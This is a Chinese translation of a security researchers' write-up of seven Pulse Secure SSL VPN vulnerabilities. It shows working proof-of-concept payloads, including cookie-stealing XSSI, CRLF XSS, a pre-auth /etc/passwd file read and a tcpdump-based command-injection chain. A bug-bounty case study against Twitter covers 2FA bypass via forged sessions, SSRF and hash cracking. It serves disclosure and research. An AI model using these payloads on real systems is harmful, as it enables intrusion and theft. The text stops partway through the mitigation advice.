揭秘Pulse Secure SSL VPN黄金RCE链:以Twitter为例的深度技术分析

本文详细分析了Pulse Secure SSL VPN中的多个高危漏洞,包括预认证任意文件读取(CVE-2019-11510)和后认证命令注入(CVE-2019-11539),并通过Twitter案例展示了完整的攻击链利用过程。

Orange: 攻击SSL VPN - 第三部分:Pulse Secure SSL VPN黄金RCE链,以Twitter为例!

作者:Orange Tsai(@orange_8361) 和 Meh Chang(@mehqq_)

嗨,这是《攻击SSL VPN》系列的最后一部分。如果您还没有阅读之前的文章,以下是快速链接:

  • 像NSA一样渗透企业内网:主流SSL VPN的预认证RCE
  • 攻击SSL VPN - 第一部分:Palo Alto GlobalProtect预认证RCE,以Uber为例!
  • 攻击SSL VPN - 第二部分:攻破Fortigate SSL VPN

我们在Black Hat发布研究后,由于其严重性和巨大影响,引起了广泛关注和讨论。许多人渴望第一手消息,并想知道漏洞利用(尤其是Pulse Secure预认证漏洞)何时发布。

我们在内部也讨论了这个问题。实际上,我们可以毫不担心地发布整个漏洞利用代码,并获得大量媒体曝光。然而,作为一家安全公司,我们的责任是让世界更安全。因此,我们决定推迟公开披露,以给世界更多时间应用补丁!

不幸的是,漏洞利用被其他人泄露了。它们可以在GitHub[1][2][3]和exploit-db[1]上轻松找到。老实说,我们不能说他们是错的,因为这些漏洞在几个月前就已经修复了,他们花了时间进行差异分析、逆向和复现。但对于安全社区来说,这确实是一个值得讨论的问题:如果你拥有核武器级别的漏洞,何时才适合公开披露?

我们听说有超过25个漏洞赏金计划被利用。根据Bad Packet的统计,许多财富500强公司、美国军方、政府、金融机构和大学也受到影响。甚至有10台NASA服务器因此漏洞暴露。因此,这些过早的公开披露确实迫使这些实体升级其SSL VPN,这是好的一面。

另一方面,坏的一面是,与此同时,有越来越多的僵尸网络在扫描互联网。有情报指出,已经有一个中国APT组织在利用此漏洞。这简直是一场互联网灾难。显然,世界还没有准备好。因此,如果您还没有更新您的Palo Alto、Fortinet或Pulse Secure SSL VPN,请尽快更新!

关于Pulse Secure

Pulse Secure是SSL VPN的市场领导者,为混合IT提供专业的安全访问解决方案。Pulse Secure长期在我们的研究队列中,因为它是Google的关键基础设施,而Google是我们的长期目标之一。然而,Google应用了零信任安全模型,因此VPN现在已被移除。

我们在去年12月中旬开始审查Pulse Secure。在前两个月,我们一无所获。Pulse Secure具有良好的编码风格和安全意识,因此很难找到琐碎的漏洞。这里有一个有趣的对比,我们在研究FortiGate SSL VPN的第一天就发现了任意文件读取漏洞CVE-2018-13379……

Pulse Secure也是Perl爱好者,并用C++编写了许多Perl扩展。Perl和C++之间的交互也让我们感到困惑,但随着我们花更多时间深入研究,我们越来越熟悉它。最终,我们在2019年3月8日取得了第一次突破!这是一个管理界面上的基于栈的溢出!尽管这个漏洞不是那么有用,但我们的研究进展自此步入正轨,并发现了越来越多的漏洞。

我们在2019年3月22日向Pulse Secure PSIRT报告了所有发现。他们的响应非常迅速,并且非常重视这些漏洞!在与Pulse Secure进行几次电话会议后,他们在一个月内修复了所有漏洞,并于2019年4月24日发布了补丁。您可以查看详细的安全公告!

与Pulse Secure合作是一段愉快的经历。从我们的角度来看,Pulse Secure是我们报告过漏洞的所有SSL VPN供应商中最负责任的!

漏洞

我们总共发现了7个漏洞。以下是列表。我们将介绍每一个漏洞,但更侧重于CVE-2019-11510和CVE-2019-11539。

  • CVE-2019-11510 - 预认证任意文件读取
  • CVE-2019-11542 - 后认证(管理员)栈缓冲区溢出
  • CVE-2019-11539 - 后认证(管理员)命令注入
  • CVE-2019-11538 - 后认证(用户)通过NFS的任意文件读取
  • CVE-2019-11508 - 后认证(用户)通过NFS的任意文件写入
  • CVE-2019-11540 - 后认证跨站脚本包含
  • CVE-2019-11507 - 后认证跨站脚本

受影响版本

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

CVE-2019-11540:跨站脚本包含

脚本/dana/cs/cs.cgi在JavaScript中渲染会话ID。由于内容类型设置为application/x-javascript,我们可以执行XSSI攻击来窃取DSID cookie!

更糟糕的是,Pulse Secure SSL VPN中的CSRF保护基于DSID。通过此XSSI,我们可以绕过所有CSRF保护!

PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!-- http://attacker/malicious.html -->

<script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script>
<script>
    window.onload = function() {
        window.document.writeln = function (msg) {
            if (msg.indexOf("DSID") >= 0) alert(msg)
        }
        ReplaceContent()
    }
</script>

CVE-2019-11507:跨站脚本

/dana/home/cts_get_ica.cgi中存在CRLF注入。由于注入,我们可以伪造任意HTTP头并注入恶意HTML内容。

PoC:

1
2
3
4
https://sslvpn/dana/home/cts_get_ica.cgi
?bm_id=x
&vdi=1
&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)>

CVE-2019-11538:后认证(用户)通过NFS的任意文件读取

以下两个漏洞(CVE-2019-11538和CVE-2019-11508)不影响默认配置。仅当管理员为VPN用户配置NFS共享时才会出现。

如果攻击者可以控制远程NFS服务器上的任何文件,他只需创建一个指向任何文件(如/etc/passwd)的符号链接,并从Web界面读取它。根本原因是NFS的实现将远程服务器挂载为真实的Linux目录,而脚本/dana/fb/nfs/nfb.cgi不检查访问的文件是否是符号链接!

CVE-2019-11508:后认证(用户)通过NFS的任意文件写入

这个漏洞与前一个类似,但攻击向量不同!

当攻击者通过Web界面向NFS上传ZIP文件时,脚本/dana/fb/nfs/nu.cgi不会清理ZIP中的文件名。因此,攻击者可以构建一个恶意ZIP文件,并在文件名中使用../遍历路径!一旦Pulse Secure解压缩,攻击者就可以将任何文件上传到任何路径!

CVE-2019-11542:后认证(管理员)栈缓冲区溢出

以下Perl模块实现中存在基于栈的缓冲区溢出:

  • DSHC::ConsiderForReporting
  • DSHC::isSendReasonStringEnabled
  • DSHC::getRemedCustomInstructions

这些实现使用sprintf连接字符串,没有任何长度检查,导致缓冲区溢出。该漏洞可以在许多地方触发,但这里我们使用/dana-admin/auth/hc.cgi作为PoC。

1
2
3
https://sslvpn/dana-admin/auth/hc.cgi
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&policyid=0

您可以从dmesg中观察到段错误:

1
cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]

CVE-2019-11510:预认证任意文件读取

实际上,这是本次最严重的漏洞。它位于Web服务器实现中。正如我们的幻灯片提到的,Pulse Secure从头实现自己的Web服务器和架构栈。原始路径验证非常严格。然而,从版本8.2开始,Pulse Secure引入了一个名为HTML5 Access的新功能,这是一个用于通过浏览器与Telnet、SSH和RDP交互的功能。多亏了这个新功能,原始路径验证变得宽松。

为了处理静态资源,Pulse Secure创建了一个新的IF-CONDITION来放宽原本严格的路径验证。代码错误地使用了request->urirequest->filepath,因此我们可以在查询字符串的末尾指定/dana/html5acc/guacamole/来绕过验证,并使request->filepath指向您想要下载的任何文件!

值得一提的是,为了读取任意文件,您必须在路径中间再次指定/dana/html5acc/guacamole/。否则,您只能下载有限的文件扩展名,如.json.xml.html

由于漏洞利用已经公开,不再有任何顾虑展示载荷:

1
2
3
4
import requests

r = requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r.content

CVE-2019-11539:后认证(管理员)命令注入

最后一个是在管理界面上的命令注入。我们很早就发现了这个漏洞,但最初找不到利用方法。当我们在拉斯维加斯时,我的一个朋友告诉我,他之前发现了同样的漏洞,但没有找到利用方法,所以他没有向供应商报告。

然而,我们做到了,并且以一种非常聪明的方式利用了它 :)

这个漏洞的根本原因非常简单。以下是/dana-admin/diag/diag.cgi的代码片段:

1
2
3
4
5
6
7
8
9
# ...
$options = tcpdump_options_syntax_check(CGI::param("options"));

# ...
sub tcpdump_options_syntax_check {
  my $options = shift;
  return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
  return undef;
}

如此明显和直接,每个人都可以指出参数options存在命令注入!然而,真的那么容易吗?不!

为了避免潜在的漏洞,Pulse Secure在其产品上应用了许多加固措施!例如系统完整性检查、只读文件系统以及一个模块来钩住所有危险的Perl调用,如systemopen和反引号……

这个模块叫做DSSAFE.pm。它实现了自己的命令行解析器,并在Perl中重新实现了I/O重定向。以下是Gist上的代码片段。

从代码片段中,您可以看到它替换了原始的系统调用,并在__parsecmd中进行了许多检查。它还阻止了许多坏字符,例如:

1
[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]

检查非常严格,以至于我们无法执行任何命令注入。我们设想了几种绕过方法,我想到的第一件事是参数注入。我们列出了TCPDUMP支持的所有参数,并发现-z postrotate-command可能有用。但遗憾的是,Pulse Secure中的TCPDUMP太旧(v3.9.4,2005年9月),不支持这个多汁的功能,所以我们失败了 :(

在检查系统时,我们发现虽然Web根目录是只读的,但我们仍然可以滥用缓存机制。Pulse Secure在/data/runtime/tmp/tt/中缓存模板结果以加速脚本渲染。因此,我们的下一次尝试是通过-w write-file参数将文件写入模板缓存目录。然而,似乎不可能同时编写PCAP和Perl格式的多语言文件。

当我们似乎已经走到参数注入的尽头时,我们尝试更深入地研究DSSAFE.pm的实现,看看是否有任何我们可以利用的东西。在这里,我们发现了命令行解析器中的一个缺陷。如果我们插入一个不完整的I/O重定向,重定向的其余部分将被截断。尽管这是一个小缺陷,但它帮助我们重新控制I/O重定向!然而,我们无法生成有效的Perl脚本的问题仍然困扰着我们。

我们在这里卡住了,是时候跳出框框思考了。通过STDOUT生成有效的Perl脚本很难,我们能否通过STDERR编写Perl?答案是肯定的。当我们强制TCPDUMP通过-r read-file读取一个不存在的文件时,它会显示错误:

1
tcpdump: [filename]: No such file or directory

似乎我们可以“部分”控制错误消息。然后我们尝试了文件名print 123#,奇迹发生了!

1
2
3
4
5
$ tcpdump -d -r 'print 123#'
  tcpdump: print 123#: No such file or directory
 
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
  123

错误消息现在变成了一个有效的Perl脚本。为什么?好吧,让我们现在上一堂Perl 101课!

如您所见,Perl支持GOTO标签,因此tcpdump:成为Perl中的有效标签。然后,我们用井号注释其余部分。通过这个创造性的技巧,我们现在可以生成任何有效的Perl!

最后,我们使用一个不完整的I/O符号<来欺骗DSSAFE.pm命令解析器,并将STDERR重定向到缓存目录!以下是最终的漏洞利用:

1
-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 

拼接后的命令如下:

1
2
3
4
5
/usr/sbin/tcpdump -d 
 -r'$x="ls /",system$x#'
 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 
 >/dev/null
 2>&1

生成的setcookie.thtml.ttc如下:

1
 tcpdump: $x="ls /",system$x#: No such file or directory

一旦我们完成了这一步,我们就可以获取相应的页面来执行我们的命令:

1
2
3
4
$ curl https://sslvpn/dana-na/auth/setcookie.cgi
 boot  bin  home  lib64       mnt      opt  proc  sys  usr  var
 data  etc  lib   lost+found  modules  pkg  sbin  tmp 
 ...

至此,这个命令注入的整个技术部分就结束了。然而,我们认为可能有另一种创造性的方法来利用它,如果您找到了,请告诉我!

案例研究

在Pulse Secure于2019年4月24日修复所有漏洞后,我们持续监控互联网,以衡量每个大公司的响应时间。Twitter是其中之一。他们以漏洞赏金计划和对黑客友好而闻名。然而,在补丁发布后立即利用0-day是不合适的。因此,我们等了30天,让Twitter升级他们的SSL VPN。

我们必须说,在那段时间里我们很紧张。我们每天早上做的第一件事就是检查Twitter是否升级了他们的SSL VPN!对我们来说,那是一段难忘的时光 :P

我们于2019年5月28日开始黑客攻击Twitter。在这次行动中,我们遇到了几个障碍。第一个是,虽然我们可以获得Twitter员工的明文密码,但由于双因素认证,我们仍然无法登录他们的SSL VPN。这里我们建议两种绕过方法。第一种是我们观察到Twitter使用Duo的解决方案。手册中提到:

您的Duo应用程序的安全性与您的密钥(skey)的安全性相关。请像保护任何敏感凭据一样保护它。在任何情况下都不要与未经授权的个人共享或通过电子邮件发送给任何人!

因此,如果我们可以从系统中提取密钥,我们可以利用Duo API绕过2FA。然而,我们找到了一种更快的绕过方法。Twitter启用了漫游会话功能,该功能用于增强移动性,并允许从多个IP位置进行会话。

由于这个“方便”的功能,我们可以直接下载会话数据库并伪造我们的cookie来登录他们的系统!

到目前为止,我们能够访问Twitter内网。然而,我们的目标是实现代码执行!这听起来比仅仅访问内网更关键。因此,我们希望将我们的命令注入漏洞(CVE-2019-11539)串联起来。好吧,在这里,我们遇到了另一个障碍。那就是受限的管理界面!

正如我们之前提到的,我们的漏洞在管理界面上。但出于安全考虑,大多数公司在公共网络上禁用此界面,因此我们需要另一种方式来访问管理页面。如果您仔细阅读了我们之前的文章,您可能还记得“WebVPN”功能!WebVPN是一个代理,帮助连接到任何地方。所以,让我们连接到自身。

是的,这是SSRF!这里我们使用一个小技巧来绕过SSRF保护。

啊哈!通过我们的SSRF,我们现在可以接触界面了!然后,最后一个障碍出现了。我们没有任何管理员的明文密码。当Perl想要与本地过程交换数据时,例如C++中的Perl扩展或Web服务器,它使用缓存来存储数据。问题是,Pulse Secure在交换后忘记清除敏感数据,这就是为什么我们可以在缓存中获得明文密码。但实际上,大多数管理员只在第一次登录系统,因此很难获得管理员的明文密码。我们唯一得到的,是sha256(md5_crypt(salt, …))格式的密码哈希……

如果您在破解哈希方面有经验,您会知道这有多难。所以……

我们启动了一个72核的AWS来破解它。

我们破解了哈希并成功获得了RCE!我认为我们很幸运,因为根据我们的观察,Twitter员工有非常强大的密码策略。但似乎该策略不适用于管理员。管理员的密码长度只有十位,第一个字符是B。它在我们的破解队列的非常早期阶段,因此我们可以在3小时内破解哈希。

我们向Twitter报告了所有发现,并从他们那里获得了最高赏金。虽然我们无法证明,但这似乎是Twitter上的第一次远程代码执行!如果您对完整报告感兴趣,可以查看HackerOne链接以获取更多细节。

建议

如何缓解此类攻击?这里我们给出几个建议。

首先是客户端证书。它

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计